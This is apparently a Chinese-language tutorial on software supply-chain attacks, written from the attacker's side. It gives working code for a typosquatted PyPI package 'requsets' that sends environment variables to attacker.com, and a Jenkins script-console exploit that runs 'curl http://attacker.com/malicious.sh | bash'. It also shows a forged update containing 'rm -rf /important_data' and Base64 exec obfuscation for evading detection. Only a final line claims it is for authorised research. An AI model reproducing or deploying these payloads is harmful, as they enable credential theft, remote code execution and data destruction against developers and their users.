一、渗入供应链:从模块到全局

黑客示意图

现代软件开发几乎都依赖开源组件和第三方库,这种模式虽然加速了开发进程,却也为攻击者提供了突破点。供应链攻击的本质,就是在开发、构建或分发的某个环节植入恶意代码,从而在目标软件运行时接管控制权。攻击者无需直接渗入目标企业的基础设施,只需在它信任的某个链条环节中下手。而一旦成功,影响范围可能是全局性的。

以常见的 NPM 和 PyPI 开源生态为例:开发者在构建应用时通常直接依赖来自这些仓库的包。如果攻击者控制了一个被广泛使用的库,便可将恶意代码分发至全球范围内的应用和用户中。

在这部分中,我们将探讨供应链攻击的常见切入点,包括:

  1. 第三方库的污染
  2. 持续集成/持续交付(CI/CD)系统的劫持
  3. 软件更新机制的篡改

接下来,我们将从技术层面分析如何针对这些环节进行攻击与渗透。

---

二、利用开源漏洞:从小模块到全球扩散

开源库的最大问题在于,它们的“信任链”是无限延伸的。例如,一个项目可能依赖 A 库,而 A 库又依赖 B 和 C 库,最终形成了一个复杂的依赖树。如果攻击者能控制其中的某一环节,就可能将恶意代码注入整个生态。

以 NPM 生态为例,以下是一次典型的攻击思路:

  1. 目标分析:选择一款拥有大量下载量、或被高价值目标频繁使用的库;
  2. 接管或伪造:通过多种方法接管库的控制权,包括社工攻击库维护者、回收过期域名,或利用名称混淆(如“typosquatting”)发布恶意替代版本;
  3. 代码注入:在库中植入看似无害但实际隐蔽的恶意代码;
  4. 扩散传播:等待受害者更新依赖或安装库时触发恶意逻辑。

黑客示意图

实战:利用 PyPI 平台做“Typosquatting”

这里我们以 PyPI 平台为例,模拟一个简单的 Typosquatting 攻击。Typosquatting 的核心是利用用户的输入错误,例如将 requests 错误地拼写为 requsets。攻击者可以提前注册该拼写错误的名称并上传一个伪造的包。

攻击流程:

  1. 注册伪造包
  2. 首先,我们需要在 PyPI 上注册一个与目标库名称相似的包。

<pre><code class="language-bash"># 创建一个伪造包的目录结构 mkdir fake_package cd fake_package mkdir src

初始化 setup.py 文件

cat &lt;&lt;EOF &gt; setup.py from setuptools import setup, find_packages

setup( name=&quot;requsets&quot;, # 注意,这个是拼写错误的“requests” version=&quot;0.1.0&quot;, packages=find_packages(), description=&quot;Fake requests library&quot;, install_requires=[], # 可以伪装成一个无依赖包 ) EOF</code></pre>

  1. 注入恶意代码
  2. 在伪造包的逻辑代码中注入恶意功能,例如窃取用户的环境变量(可能包含敏感信息如 API 密钥)。

<pre><code class="language-python"># 创建 init 文件 mkdir src/requsets cat &lt;&lt;EOF &gt; src/requsets/__init__.py import os import requests

窃取环境变量

stolen_data = os.environ

将数据发送到攻击者的服务器

requests.post(&quot;http://attacker.com&quot;, json=stolen_data) EOF</code></pre>

  1. 上传到 PyPI
  2. 使用 twine 工具将伪造包上传到 PyPI。

<pre><code class="language-bash"># 构建并上传包 python3 setup.py sdist pip install twine twine upload dist/*</code></pre>

  1. 等待目标中招
  2. 攻击者只需等待目标开发者误安装requsets包。恶意代码将在目标环境中执行,窃取信息并发送到攻击者的控制服务器。

---

三、持续集成系统:攻陷 CI/CD 流水线

CI/CD 系统是现代软件开发的核心,负责代码的自动化构建、测试和部署。大多数企业在流水线配置中使用敏感密钥和凭证,这就使得 CI/CD 成为了供应链攻击的重要目标。

假设某企业的 Jenkins 服务器存在未修复的漏洞或弱配置,攻击者可以利用以下方式接管流水线:

  1. 信息收集:扫描目标企业的 Jenkins 节点,检测版本号及插件情况;
  2. 漏洞利用:如果存在已知漏洞(如 RCE 漏洞 CVE-2021-21658),攻击者可直接获取 Jenkins 节点的远程 Shell;
  3. 后续操作:一旦接管 Jenkins,攻击者可修改构建脚本,将恶意代码注入目标软件。

Jenkins RCE 攻击演示

示例代码展示了如何利用 Jenkins 的脚本执行功能,直接在服务器上运行命令:

<pre><code class="language-python">import requests

Jenkins 配置

jenkins_url = &quot;http://target-jenkins.com:8080/script&quot; username = &quot;admin&quot; password = &quot;admin&quot;

恶意脚本

payload = &quot;&quot;&quot; def cmd = &quot;curl http://attacker.com/malicious.sh | bash&quot;.execute() cmd.waitFor() &quot;&quot;&quot;

提交脚本执行命令

response = requests.post( jenkins_url, auth=(username, password), data={&quot;script&quot;: payload} )

if response.status_code == 200: print(&quot;Payload executed successfully!&quot;) else: print(f&quot;Error: {response.status_code}&quot;)</code></pre>

核心点:

  1. 植入后门:通过 CI/CD 系统的自动化任务,将恶意代码添加进生产代码中;
  2. 横向移动:利用 Jenkins 节点上的凭据访问其他内部系统。

---

四、攻击软件更新机制:篡改自动更新

黑客示意图

许多软件通过“自动更新”功能来分发新版本,如果更新服务器的安全性较低,攻击者可以利用中间人攻击或直接接管更新服务器,分发包含恶意功能的更新包。

以下是一个针对常见自动更新机制的攻击场景:

  1. 劫持 DNS:将更新服务器的域名解析到攻击者的 IP 地址;
  2. 伪造更新包:生成一个合法格式的更新文件,但嵌入恶意代码;
  3. 欺骗客户端:将伪造更新推送给受害者。

演示:伪造更新包

以一个简单的 Python 自动更新脚本为例,攻击者可以通过替换更新文件来接管客户端。

原始更新脚本(受害者端)

<pre><code class="language-python">import requests import os

黑客示意图

从更新服务器获取最新版本包

url = &quot;http://updates.example.com/update.zip&quot; response = requests.get(url)

写入更新文件

with open(&quot;update.zip&quot;, &quot;wb&quot;) as f: f.write(response.content)

解压并覆盖当前程序

os.system(&quot;unzip -o update.zip -d ./&quot;)</code></pre>

攻击者假冒更新服务器

伪造的 update.zip 包可以包含恶意代码。例如:

<pre><code class="language-bash"># 创建恶意更新包 echo &#039;rm -rf /important_data&#039; &gt; malicious.py zip update.zip malicious.py</code></pre>

将伪造的 update.zip 返回给客户端,替换原有的更新包。

---

五、免杀与隐蔽:如何逃过检测

供应链攻击的成败不仅取决于技术实现,更在于隐蔽性。以下是几种常见的免杀与伪装技巧:

  1. 代码混淆:通过 Base64 编码或动态加载代码降低可读性;
  2. 环境检测:检查运行环境是否为沙箱或调试模式,避开安全人员的分析;
  3. 流量隐藏:使用 HTTPS 或 DNS 隧道传输窃取的数据,避免被流量分析工具发现。

示例:动态加载恶意代码

<pre><code class="language-python">import base64

恶意代码(Base64 编码后)

payload = &quot;aW1wb3J0IHN5cztwcmludCgibWFsaWNpb3VzIGNvZGUgZXhlY3V0ZWQiKQ==&quot;

解码并执行

exec(base64.b64decode(payload).decode())</code></pre>

---

六、个人经验总结:攻击链的关键点

  1. 目标选择:供应链攻击的关键在于选择影响范围广的切入点。例如开源库、CI/CD 环节或更新服务器;
  2. 隐蔽性:攻击应尽量隐蔽,避免触发安全防护系统;
  3. 后续利用:供应链只是第一步,真正的价值在于实现横向移动或敏感数据窃取。

供应链攻击是一门艺术,攻击者既要有技术执行力,又要懂得隐藏自己。而作为防御者,理解这些攻击思路是唯一能应对的方式。

---

声明:本文仅限于授权的安全研究和测试,严禁用于非法用途。